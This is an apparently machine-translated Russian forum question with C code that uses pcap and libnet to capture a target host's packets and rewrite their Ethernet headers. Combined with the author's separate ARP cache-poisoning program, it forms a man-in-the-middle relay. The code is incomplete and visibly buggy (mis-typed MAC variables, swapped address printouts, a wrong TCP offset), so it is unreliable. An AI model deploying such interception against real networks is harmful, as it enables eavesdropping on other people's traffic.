По сути, у меня есть попытка перенаправить трафик, я пытаюсь перехватить пакеты, используя pcap, а затем либо отредактировать фрейм Ethernet для пакетов, либо создать новый с другим адресом назначения.
Я знаю, что могу легко создавать фреймы Ethernet с помощью libnet, однако я не уверен, как создать фрейм с помощью libnet и "прикрепить" его к началу пакета.
Я также пытаюсьчтобы сделать это в функции обратного вызова для pcap_loop, который я прикрепил.Если у кого-то есть идеи, это было бы здорово.Заранее спасибо.
void decode(pcap_t* handle, const struct pcap_pkthdr* pkthdr, const u_char* packet)
{
u_char* ethhead = packet; //Get Ethernet header
u_char* iphead = packet+14; //Skip Ethernet header
struct ethhdr* eth_header = malloc(ETH_HLEN);
struct iphdr* ip_header = iphead;
int len = 6;
char libbuf[LIBNET_ERRBUF_SIZE];
memcpy(eth_header, packet, ETH_HLEN);
libnet_t* l = libnet_init(LIBNET_LINK, "enp6s0", libbuf);
u_int32_t target_ip = inet_addr("192.168.1.7");
u_int8_t gateway_mac = libnet_hex_aton("76:b0:65:cd:13:d2", &len);
u_int8_t target_mac = libnet_hex_aton("d0:b2:f4:12:06:e1", &len);
u_int8_t this = libnet_get_hwaddr(l);
if((ip_header->saddr == target_ip) || (ip_header->daddr == target_ip))
{
printf("\n---------------------- Caught %d byte packet ----------------------\n", pkthdr->len);
dump(packet, pkthdr->len);
if(eth_header->h_proto != ETH_P_ARP)
{
printf("\nEthernet frame:\n");
printf("Source MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n", ethhead[0],ethhead[1],ethhead[2], ethhead[3],ethhead[4],ethhead[5]);
printf("Destination MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n", ethhead[6],ethhead[7],ethhead[8], ethhead[9],ethhead[10],ethhead[11]);
if (*iphead==0x45) //For IPv4
{
printf("\n\nIP Header:\n");
printf("Version: %i\n", ip_header->version);
printf("Type of service: %i\n", ip_header->tos);
printf("Header length: %i\n", ip_header->ihl);
printf("Total Length: %i\n", ip_header->tot_len);
printf("Time to live: %d\n", ip_header->ttl);
printf("Layer-4 protocol %i\n", ip_header->protocol);
printf("Source host %d.%d.%d.%d\n", iphead[12], iphead[13], iphead[14],iphead[15]);
printf("Dest host %d.%d.%d.%d\n", iphead[16],iphead[17], iphead[18], iphead[19]);
if((int)iphead[9] == 6)
{
struct tcphdr *tcp_header;
tcp_header = iphead + ip_header->ihl;
printf("\n\nTCP Header:\n");
printf("Source Port: %i\n", tcp_header->source);
printf("Dest Port: %i\n", tcp_header->dest);
printf("Sequence Number: %i\n", tcp_header->seq);
printf("Acknowledgement Number: %i\n", tcp_header->ack_seq);
printf("URG: %i\n", tcp_header->urg);
printf("ACK: %i\n", tcp_header->ack);
printf("PSH: %i\n", tcp_header->psh);
printf("RST: %i\n", tcp_header->rst);
printf("SYN: %i\n", tcp_header->syn);
printf("FIN: %i\n", tcp_header->fin);
printf("Checksum: %i\n", tcp_header->check);
}
}
printf("\n---------------------------------------------------------------------\n");
int inject;
if(ip_header->daddr == target_ip)
{
inject = libnet_autobuild_ethernet(&target_mac, eth_header->h_proto, l);
if(inject == -1)
printf("\n\n ----ERROR IN libnet_build_ethernet----");
libnet_write(l);
libnet_destroy(l);
}
else if(ip_header->saddr == target_ip)
{
inject = libnet_autobuild_ethernet(&gateway_mac, eth_header->h_proto, l);
if(inject == -1)
printf("\n\n ----ERROR IN libnet_build_ethernet----");
libnet_write(l);
libnet_destroy(l);
}
free(eth_header);
}
}
}
Используя эту программу вместе с отдельной программой отравления кеша, которую я сделал, я надеюсь получить трафик от цели, изменить mac-адрес указанных пакетов на сетевой шлюз, а затем отправитьон движется в обратном направлении с трафиком шлюзов.